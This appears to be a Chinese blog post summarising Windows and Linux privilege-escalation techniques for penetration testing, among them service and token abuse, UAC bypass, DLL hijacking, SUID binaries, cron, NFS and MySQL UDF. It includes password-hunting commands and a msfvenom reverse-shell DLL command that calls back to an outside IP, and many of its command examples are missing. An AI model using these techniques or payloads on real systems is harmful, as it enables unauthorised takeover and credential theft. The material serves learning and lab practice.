渗透提权总结
type
status
date
slug
tags
summary
category
icon
password
1 windows权限分级
1.user:普通用户权限,是系统中最安全的权限(因为分配给改组的默认权限不允许成员操作修改操作系统的设置或用户资料)
2.Administrator: 管理员权限。可以利用windows的机制将自己提升为system权限,以便操作SAm文件
3.System: 系统权限。可以对sam等敏感文件进行读取,往往需要将administrator权限提升到system权限才可以对散列值进行DUmp操作
4.TrustedInstaller:window中的最高权限,对系统文件,即将拥有system权限也无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等
2 流程
检查用户
查看目标机器补丁
msf渗透扫描
3 at命令利用 Windows2000、Windows 2003、Windows XP
在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。
AT命令是Windows XP中内置的命令,它也可以媲美Windows中的"计划任务",而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
因为at命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。
at 时间 /interactive cmd 其中里面的/interactive参数是开启交互模式
可以看到已经启动了一个system权限下的cmd窗口,虽然此时我们已经有了system的权限,但是可以看到,桌面还是之前用户的权限所启动的
为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程
然后再添加一个由system权限下开启的桌面进程
再点入看现在登入的账号是
或者利用msf生成木马在利用at启动
4 sc命令利用 windows 7/8、03/08、12/16
适用于windows 7/8、03/08、12/16
因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权
SC命令是XP系统中功能强大的DOS命令,SC命令能与"服务控制器"和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
通俗理解就是sc可以启动一个服务,命令如下。
其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口,如图
我们继续回车
上面的命令
因为sc启动服务也是默认system权限的,所以我们启动的cmd窗口也是system权限!接下来的操作就可以和xp,2003一样了,这里就不在重复了。
5 psexec提权 Win2003、Win2008
适用版本:Win2003 & Win2008
开启的cmd窗口也是system权限
6 绕过UAC提权 Microsoft的Windows Vista、Windows Server 2008
(1)简介
Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。
换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被"提升权限",而不是以管理员身份运行的程序。
UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。
(2)绕过方法
通过msf拿到meterprter的会话后,我们可以通过getsystem或者getuid来检查是否是system权限
如果不是system权限,我们可以通过以下绕过UAC模块对UAC进行绕过,在通过getsystem进行提权
7 令牌窃取 2008及以前
令牌简介
描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。访问令牌分为:
- 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
- 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。
同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。
默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
攻击方法
首先提前获取一个session
8 烂土豆提权 web权限
原理
- 欺骗 "NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 模仿这个令牌。只有具有"模仿安全令牌权限"的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。
攻击方法
会发现令牌列表里面存在system的令牌,在用system的令牌进行提权
烂土豆版本
9 可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
漏洞原理
这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
- 带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
- 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
攻击方法
#寻找存在漏洞的服务
把我们后门文件重命名放在对应的文件路径下
在msf上进行监听,然后启动对应服务
接收到shell,且是system权限
msf检测攻击模块
正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
10 不安全服务权限配合计划任务schtasks或SC命令利用
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用覆盖原来的服务路径,进而启动我们的恶意程序。(一般用来administrator提权到system,因为普通用户用sc修改服务路径会没有权限,导致不能用该方法提权。)
accesschk.exe -uwcqv "administrators" * #检查administrators组的权限配置(这里自己创建了一个test服务)
sc config "test" binpath="C:\shell.exe" #用sc命令修改服务对应路径
sc start test #然后我们在msf监听,在启动该服务,就可以接收到我们的shell
当然还可以用schtasks来定时启动服务,schtasks命令比at命令更灵活。而且在Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令。
#查看计算机的计划任务
在远程主机运行"test"任务
执行完成之后就删除计划任务
接着删除IPC
在使用schtasks命令的时候会在系统留下日志文件C:WindowsTasksSchedLgU.txt。
参数:
10 Unattended Installs(自动安装)
自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。
全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:
Copy
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。
Copy
C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
Copy
#或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr password
#或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini
#可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加"Password",所以真正的密 码需要去掉最后的"Password"。
#msf模块
post/windows/gather/enum_unattend
11 AlwaysInstallElevated
AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
可以通过查询以下注册表项来识别此设置:
使用reg query命令查询是否存在漏洞
如果系统没这个漏洞,它将输出错误:
如果存在漏洞,上面将输出以下内容:
然后我们使用msfvenom生成msi文件,进行提权
# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序
msf下的自动模块
12 DLL劫持提权
原理
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
13 常用系统漏洞 CVE Windows10 Windows7/2008 Windows7/8、2008/2012/2016 SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html
Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
二、linux
1 suid提权
程序
ls -l
如果有个s位,即有suidUbuntu 16.04以后,无法直接使用SUID+
system()
的方式来提权,Ubuntu发行版官方对dash进行了修改:当dash以suid权限运行、且没有指定-p
选项时,将会丢弃suid权限,恢复当前用户权限(1) 找到有root权限的程序
(2)可用于suid提权的程序
① nmap
- 较旧版本的Nmap(2.02至5.21)具有交互模式
进入交互模式:
提权:
msf中的可提权模块:
② find
提权:
进入交互:
广播shell(出网):
在攻击机:
反弹shell:
在攻击机:
③ Vim
如果以SUID运行,它将继承root用户权限,可以读取系统上的所有文件
通过vim进入shell:
④ Bash
用root打开一个bash shell:
⑤ less
进入shell:
⑥ more
进入shell:
要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用
!
命令进入shell⑦ nano
进入shell:
⑧ cp/mv
使用cp 命令覆盖原来的
/etc/passwd
文件生成密码:(这里abcd为密码)
将
/etc/passwd
复制到当前位置进行修改底部添加:用户名:密码,如:
即可添加账户
⑨ awk
awk命令进入shell:
⑩ 其它
2 内核漏洞脏牛提权
(1)查看版本
查看发行版本:
查看内核版本:
(2)msf
例如:内核版本3.2.78
搜索该版本漏洞:
找到提权脚本:
编译:
运行后输入密码进行提权:
(3)linux-exploit-suggester
要出网查poc,暂时不整理
3 计划任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。
利用命令如下命令列出一些计划任务
在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升
权限配置不当,例如:
发现存在一个root身份运行的test.sh,那我们当相应的目录下去查看一下这个计划任务
发现这里权限配置为777,就是说我们普通用户也能去修改这个test.sh文件,那我们对文件进行修改,然后进行提权。
接下来就到/tmp等待计划任务的执行
产生后对bash文件进行执行即可进行提权
4 sudo提权
(1)免密码
(2)密码爆破
5 密码复用
字面意思
6 NFS提权
当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
① 查看NFS服务器上的共享目录
② 创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。
③ 回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。
7 数据库提权
(1)UDF提权
介绍:
UDF(user defind function)用户自定义函数,通过添加新函数,对MySQL的功能进行扩充。调用方式与一般系统自带的函数相同,例如user(),version()等函数。
udf 文件后缀在windows与linux系统下分别为dll与so,即动态链接库文件,由C、C++编写。
利用条件:
1、常规情况:
- mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用);
- CREATE权限、FILE权限(root用户默认拥有所有权限)。
2、特殊情况:
- INSERT权限、UPDATE权限、DELETE权限。
查看当前数据库用户权限:
版本特性
udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中,Windows系统下mysql各版本的检索目录有所不同:
(2)MOF提权
(3)启动项提权
(4)CVE-2016-6663、CVE-2016-6664组合提权
(5)反弹端口提权
题目
这道题应该是专门练提权的:42Challenge: 1 ~ VulnHub
linux内核:渗透测试—提权方式总结_渗透提权-CSDN博客
上一篇
反弹shell总结
下一篇
iOS砸壳
Loading...